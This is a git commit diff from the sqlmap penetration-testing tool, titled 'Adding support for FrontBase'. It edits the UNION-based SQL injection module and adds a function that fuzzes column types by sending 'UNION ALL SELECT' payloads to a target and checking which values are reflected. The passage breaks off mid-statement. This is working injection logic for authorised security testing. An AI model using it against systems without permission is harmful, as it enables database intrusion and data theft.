Adding support for FrontBase

This commit is contained in:
Miroslav Stampar
2020-03-02 12:43:12 +01:00
parent dc6e7321e9
commit 125de093df
29 changed files with 1178 additions and 33 deletions

View File

@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import itertools
import logging
import random
import re
@@ -12,6 +13,7 @@ import re
from lib.core.agent import agent
from lib.core.common import average
from lib.core.common import Backend
from lib.core.common import getPublicTypeMembers
from lib.core.common import isNullValue
from lib.core.common import listToStrValue
from lib.core.common import popValue
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import FUZZ_UNION_COLUMN
from lib.core.enums import PAYLOAD
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return retVal
def _fuzzUnionCols(place, parameter, prefix, suffix):
retVal = None
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
comment = queries[Backend.getIdentifiedDbms()].comment.query
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices)
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal:
break
elif FUZZ_UNION_COLUMN.STRING not in candidate:
continue
else:
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
for column in candidate:
if column.startswith("'") and column.strip("'") in (page or ""):
retVal = [(_ if _ != column else "%s") for _ in candidate]
break
return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if content and phrase in content:
validPayload = payload
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
elif not kb.unionDuplicates:
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
vector = None
orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
# In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart
else:
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None:
msg = "do you want to (re)try to find proper "
msg += "UNION column types with fuzzy test? [y/N] "
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
if kb.fuzzUnionTest:
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "